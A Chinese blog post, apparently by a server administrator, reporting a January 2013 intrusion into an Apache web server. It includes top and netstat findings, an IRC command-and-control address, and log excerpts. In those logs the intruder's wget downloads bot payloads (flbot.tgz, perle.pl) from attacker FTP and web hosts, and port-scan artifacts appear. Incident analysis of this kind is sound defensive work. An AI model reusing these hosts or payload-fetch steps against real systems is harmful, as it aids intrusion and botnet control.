服务器被入侵

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由于时间仓促很多细节未详细确认，但是可以确定服务器是被入侵了，并且被获取了root权限。

一开始，登陆服务器一看负载30左右，还以为只是并发量过大或者是服务器IO原因导致的缓慢。top一下



top - 17:03:20 up 5 days,  5:01,  3 users,  load average: 34.30, 34.35, 34.32
Tasks: 407 total,  35 running, 372 sleeping,   0 stopped,   0 zombie
Cpu(s): 10.2%us, 89.8%sy,  0.0%ni,  0.0%id,  0.0%wa,  0.0%hi,  0.0%si,  0.0%st
Mem:   1922620k total,  1774692k used,   147928k free,   122948k buffers
Swap:  4095992k total,   130080k used,  3965912k free,   610968k cached

  PID USER      PR  NI  VIRT  RES  SHR S %CPU %MEM    TIME+  COMMAND
 5367 apache    20   0 10400  644  632 R  6.0  0.0 223:06.82 k1
 5478 apache    20   0 10400  648  632 R  6.0  0.0 226:54.46 k1
 5647 apache    20   0 10400  644  632 R  6.0  0.0 228:31.18 k1
 5807 apache    20   0 10400  644  632 R  6.0  0.0 228:48.83 k1
 5951 apache    20   0 10400  644  632 R  6.0  0.0 226:53.62 k1
 6011 apache    20   0 10400  644  632 R  6.0  0.0 220:37.54 k1
 6390 apache    20   0 10400  644  632 R  6.0  0.0 218:20.47 k1
 6679 apache    20   0 10400  644  632 R  6.0  0.0 222:45.66 k1
 6896 apache    20   0 10400  644  632 R  6.0  0.0 217:09.60 k1
 6995 apache    20   0 10400  644  632 R  6.0  0.0 216:14.89 k1
 7110 apache    20   0 10400  644  632 R  6.0  0.0 221:23.52 k1
 7253 apache    20   0 10400  644  632 R  6.0  0.0 220:36.83 k1
 7399 apache    20   0 10400  644  632 R  6.0  0.0 212:23.58 k1
 7734 apache    20   0 10400  644  632 R  6.0  0.0 213:29.19 k1
 7849 apache    20   0 10400  644  632 R  6.0  0.0 213:49.37 k1


apache用户运行的k1是什么东西。ps aux 一看就吓一跳

注意上图apache的用户运行了大量bash，最恐怖的是进程号为7401和7435的两个进程，已经成功的执行su了，换句话说已经获取了服务器的root权限！！

我怀着侥幸的心理，认为是某学弟自己做的监控之类的shell在自动管理服务器，结果接下来越来越让我纠结。netstat -an之后这个想法已经彻底瓦解了

服务器在不停地连接46.246.93.54:45876，直接访问得到如下



:h4ckz.u NOTICE AUTH :*** Looking up your hostname...
:h4ckz.u NOTICE AUTH :*** Couldn't resolve your hostname; using your IP address instead
ERROR :Closing Link: [222.49.98.xxxx] (HTTP command from IRC connection (ATTACK?))

到这里，已经基本上可以确定服务器被入侵了，还是系统级的。接下来开始查/varl/log里各种有效的日志。

入侵的过程在这里：



--2013-01-13 03:42:50--  ftp://test:*password*@67.18.255.29/a.pdf
           => `a.pdf'
Connecting to 67.18.255.29:21... [Sun Jan 13 03:42:50 2013] [error] [client 119.147.8.145] File does not exist: /data/www/bbs_ecjtu_net/attachments
connected.
Logging in as test ... Logged in!
==> SYST ... done.    ==> PWD ... done.
==> TYPE I ... done.  ==> CWD not needed.
==> SIZE a.pdf ... 32435
==> PASV ... done.    ==> RETR a.pdf ... done.
Length: 32435 (32K) (unauthoritative)

     0K ....[Sun Jan 13 03:42:53 2013] [error] [client 119.147.8.145] File does not exist: /data/www/bbs_ecjtu_net/attachments
...... .......... .......... .                    100% 36.1K=0.9s

2013-01-13 03:42:54 (36.1 KB/s) - `a.pdf' saved [32435]

  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed

  0 32435    0     0    0     0      0      0 --:--:--  0:00:02 --:--:--     0[Sun Jan 13 03:42:58 2013] [error] [client 119.147.8.145] File does not exist: /data/www/bbs_ecjtu_net/attachments

100 32435  100 32435    0     0   8416      0  0:00:03  0:00:03 --:--:-- 36484
sh: fetch: command not found
sh: lwp-get: command not found
perl: no process killed
crond(1731): Operation not permitted
crond: no process killed
--2013-01-13 03:42:59--  ftp://test:*password*@67.18.255.29/flbot.tgz
           => `flbot.tgz'
Connecting to 67.18.255.29:21... connected.
Logging in as test ... Logged in!
==> SYST ... done.    ==> PWD ... [Sun Jan 13 03:43:01 2013] [error] [client 124.115.1.7] File does not exist: /data/www/xyh/html/news/20080625
[Sun Jan 13 03:43:01 2013] [error] [client 119.147.8.145] File does not exist: /data/www/bbs_ecjtu_net/attachments
done.
==> TYPE I ... done.  ==> CWD not needed.
==> SIZE flbot.tgz ... 281595
==> PASV ... done.    ==> RETR flbot.tgz ... [Sun Jan 13 03:43:02 2013] [error] [client 221.204.219.113] Directory index forbidden by Options directive: /data/www/www_ecjtu_net/html/news/rixingonggao/20070910/, referer: http://www.ecjtu.net/html/news/rixingonggao/20070910/
done.
Length: 281595 (275K) (unauthoritative)

     0K .......... .......... .......... .......... .......... 18% 43.1K 5s
    50K .......... .......... .......... .......... .......... 36%  164K 3s
   100K .......... .......... .......... .......... .......... 54%  170K 1s
   150K .......... .......... .......... .......... .......... 72% 1.13M 1s
   200K .......... .......... .......... .......... .......... 90%  174K 0s
   250K .......... .......... ....                            100% 1.16M=2.1s

2013-01-13 03:43:05 (130 KB/s) - `flbot.tgz' saved [281595]

  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed

  0  274k    0     0    0     0      0      0 --:--:--  0:00:02 --:--:--     0
 14  274k   14 41992    0     0  10997      0  0:00:25  0:00:03  0:00:22 47182
 78  274k   78  215k    0     0  44132      0  0:00:06  0:00:04  0:00:02  104k
100  274k  100  274k    0     0  52874      0  0:00:05  0:00:05 --:--:--  114k
sh: lwp-get: command not found
sh: fetch: command not found
sh: ./locate: /lib/ld-linux.so.2: bad ELF interpreter: No such file or directory

这是1月13日凌晨的日志，早在11年就有人被这样入侵过http://bbs.51cto.com/thread-823547-1.html。

利用的是apache的远程溢出漏洞。



[Mon Jan 14 18:29:39 2013] [notice] suEXEC mechanism enabled (wrapper: /usr/sbin/suexec)
[Mon Jan 14 18:29:40 2013] [notice] Apache/2.2.15 (Unix) PHP/5.3.3 configured -- resuming normal operations

估计最终是通过suEXEC获取的root权限（关于suEXEC），如果有了root很多痕迹已经不好查了。

因为获取了root之后别说拿数据什么的，就是随便在任何角落留后门，基本上都无从查起！这是一个很恐怖的事实！



[Wed Jan 16 22:59:59 2013] [error] [client 218.30.103.151] File does not exist: /data/www/xyh/html/news/muxiaoxinwen/20080625
--2013-01-17 03:55:42--  http://senata.tk/x/perle.pl
Resolving senata.tk... 89.42.38.160
Connecting to senata.tk|89.42.38.160|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 64364 (63K) [text/plain]
perle.pl: Permission denied

Cannot write to `perle.pl' (Permission denied).
chmod: changing permissions of `bin': Operation not permitted
chmod: changing permissions of `boot': Operation not permitted
chmod: changing permissions of `cgroup': Operation not permitted
chmod: changing permissions of `data': Operation not permitted
chmod: changing permissions of `dev': Operation not permitted
chmod: changing permissions of `etc': Operation not permitted
chmod: changing permissions of `home': Operation not permitted
chmod: changing permissions of `lib': Operation not permitted
chmod: changing permissions of `lib64': Operation not permitted
chmod: changing permissions of `lost+found': Operation not permitted
chmod: changing permissions of `media': Operation not permitted
chmod: changing permissions of `mnt': Operation not permitted
chmod: changing permissions of `opt': Operation not permitted
chmod: changing permissions of `proc': Operation not permitted
chmod: changing permissions of `root': Operation not permitted
chmod: changing permissions of `sbin': Operation not permitted
chmod: changing permissions of `selinux': Operation not permitted
chmod: changing permissions of `srv': Operation not permitted
chmod: changing permissions of `sys': Operation not permitted
chmod: changing permissions of `tmp': Operation not permitted
chmod: changing permissions of `usr': Operation not permitted
chmod: changing permissions of `var': Operation not permitted
[Thu Jan 17 04:25:18 2013] [error] [client 180.153.240.43] File does not exist: /data/www/xyh/robots.txt
[Thu Jan 17 04:25:19 2013] [error] [client 218.30.103.151] File does not exist: /data/www/xyh/html/news/muxiaoxinwen/20080826
[Thu Jan 17 04:25:20 2013] [error] [client 203.208.60.85] File does not exist: /data/www/xyh/html/xiaoyouzhuanlan/20080625
 
 
./su: ./ps: /lib/ld-linux.so.2: bad ELF interpreter: No such file or directory
cat: 162.52.pscan.22: No such file or directory
cat: nobash.txt: No such file or directory
cat: vuln.txt: No such file or directory
./su: ./ps: /lib/ld-linux.so.2: bad ELF interpreter: No such file or directory
cat: 44.1.pscan.22: No such file or directory
cat: nobash.txt: No such file or directory
cat: vuln.txt: No such file or directory
./su: ./ps: /lib/ld-linux.so.2: bad ELF interpreter: No such file or directory
cat: 9.213.pscan.22: No such file or directory
cat: nobash.txt: No such file or directory
cat: vuln.txt: No such file or directory
./su: ./ps: /lib/ld-linux.so.2: bad ELF interpreter: No such file or directory
cat: 156.112.pscan.22: No such file or directory
……

是从1月16日凌晨开始部署反弹式后门，很奇怪还会权限不够，莫非还是不同的人？。

perle.pl.zip

总之估计最后是由于控制段指令出了什么错，让后门shell陷入了一个死循环才导致服务器负载飙升。

基本可以确定是Apache的远程溢出导致的问题，目前我暂时清除了发现的所有的后门，用yum升级了apache及其他的组件。不过我对CentOS不怎么待见的……(参见http://www.cnblogs.com/badwood316/archive/2012/10/09/2716908.html)，还是抽时间重新装过系统才是正解。

具体的日志在这里error.zip

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